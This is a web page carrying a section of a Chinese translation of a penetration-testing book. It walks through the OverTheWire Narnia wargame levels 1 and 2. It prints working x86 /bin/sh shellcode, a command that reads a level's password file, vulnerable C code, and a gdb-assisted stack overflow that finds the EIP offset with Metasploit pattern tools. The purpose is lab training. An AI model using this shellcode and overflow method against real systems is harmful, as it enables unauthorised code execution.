|
|
51CTO旗下网站
|
|
移动端

1.6.2 二进制利用(2)

《黑客秘笈——渗透测试实用指南(第2版)》第1章赛前准备——安装,本章介绍的内容主要是帮助搭建一个标准的测试平台。您要具有扎实的PowerShell语言基础,并且能够理解二进制漏洞利用的基本原理。本节为大家介绍二进制利用。

作者:孙勇 译来源:人民邮电出版社|2017-09-06 20:53

【51CTO技术沙龙】10月27日,让我们共同探索AI场景化应用实现之道

1.6.2 二进制利用(2)

如果将shellcode存储在环境变量ECG中,那么无论shellcode是什么内容,它都将被执行。简单的做法是设置shellcode代码为/bin/sh,并将其赋值给ECG的环境变量。

在这个例子中,将恶意代码设置为/bin/sh:http://shell-storm.org/shellcode/files/shellcode-811.php

export EGG=‘python -c 'print"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\ x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"'`

./narnia1

cat /etc/narnia_pass/narnia2

已经有了narnia2账户的密码(见图1.8),现在可以进入阶段3。

(3)阶段3

登录阶段3:

ssh narnia2@narnia.labs.overthewire.org

Password: [narnia2的密码]

cd /narnia/

cat narnia2.c

浏览C代码,查看下面的代码:

char buf[128];

if(argc == 1){

  printf("Usage: %s argument\n",argv[0]);

  exit(1);

}

strcpy(buf,argv[1]);

printf("%s",buf);

通过浏览代码可以看到,通过命令输入一个参数,并将它复制到缓冲区。字符串的缓冲区大小是128个字节,因此我们发送200个字符:

narnia2@melinda:/narnia$ ./narnia2 'python -c 'print "A" * 200''

段错误

仅仅是验证,通过发送200个字符,造成程序出现段错误。需要判断发送多少字节,可以覆盖EIP寄存器。可以使用Metasploit的pattern_create.rb模块实现这个目的。这个模块生成一个特别字符串,在下面的例子中,创建200个字节的字符串。由于生成的字符串不会重复,因此能够精确识别出程序在什么位置覆盖EIP。

/usr/share/metasploit-framework/tools/pattern_create.rb 200

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5A

b6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

d3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9A

f0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

现在运行程序narnia2,输入新生成的特殊字符串,观察在造成段错误之前,输入了多少个字节。为了获得段错误的精确结果,使用了调试器。默认情况下,Linux操作系统内嵌gdb调试器。尽管gdb调试器不是最容易使用的调试器,但是它的功能非常强大。

gdb ./narnia2 -q

run 'python -c' 'print"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5A

b6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3A

d4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1A

f2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"''

查询结果如图1.9所示。

程序接收SIGSEGV信号,段错误。

0x37654136 in ?? ()

命令输出结果是0x37654136。通过查看初始的字符串来查找精确的值。为了能够计算出造成段错误的准确字节数,使用Metasploit的pattern_offset.rb脚本:

/usr/share/metasploit-framework/tools/pattern_offset.rb 0x37654136

[*] Exact match at offset 140

这表明在140个字节后可以控制EIP。为了证明这个结果,运行narnia2程序,输入140个字节,使用另外的4个字节覆盖EIP。通过使用调试器来观察内存中的变化。

输出结果如下所示。

cd /narnia

gdb ./narnia2 -q

(gdb) run 'python -c 'print "A" * 140 + "B" * 4'`

Starting program: /games/narnia/narnia2 'python -c 'print "A" * 140 + "B" * 4'`

Program received signal SIGSEGV,Segmentation fault.

0x42424242 in ?? ()

(gdb) info registers

eax 0x0 0

ecx 0x0 0

edx 0xf7fcb898 -134432616

ebx 0xf7fca000 -134438912

esp 0xffffd640 0xffffd640

ebp 0x41414141 0x41414141

esi 0x0 0

edi 0x0 0

eip 0x42424242 0x42424242

喜欢的朋友可以添加我们的微信账号:

51CTO读书频道二维码


51CTO读书频道活动讨论群:365934973

【责任编辑:book TEL:(010)68476606】

回书目   上一节   下一节
点赞 0
分享:
大家都在看
猜你喜欢

读 书 +更多

Absolute C++中文版(原书第2版)  

本书是讲解C++语言程序设计的优秀教程。全书围绕C++语言来组织,开始章节介绍编程的普通感念,接下来详细介绍C++中的继承、多态、异常处理...

订阅51CTO邮刊

点击这里查看样刊

订阅51CTO邮刊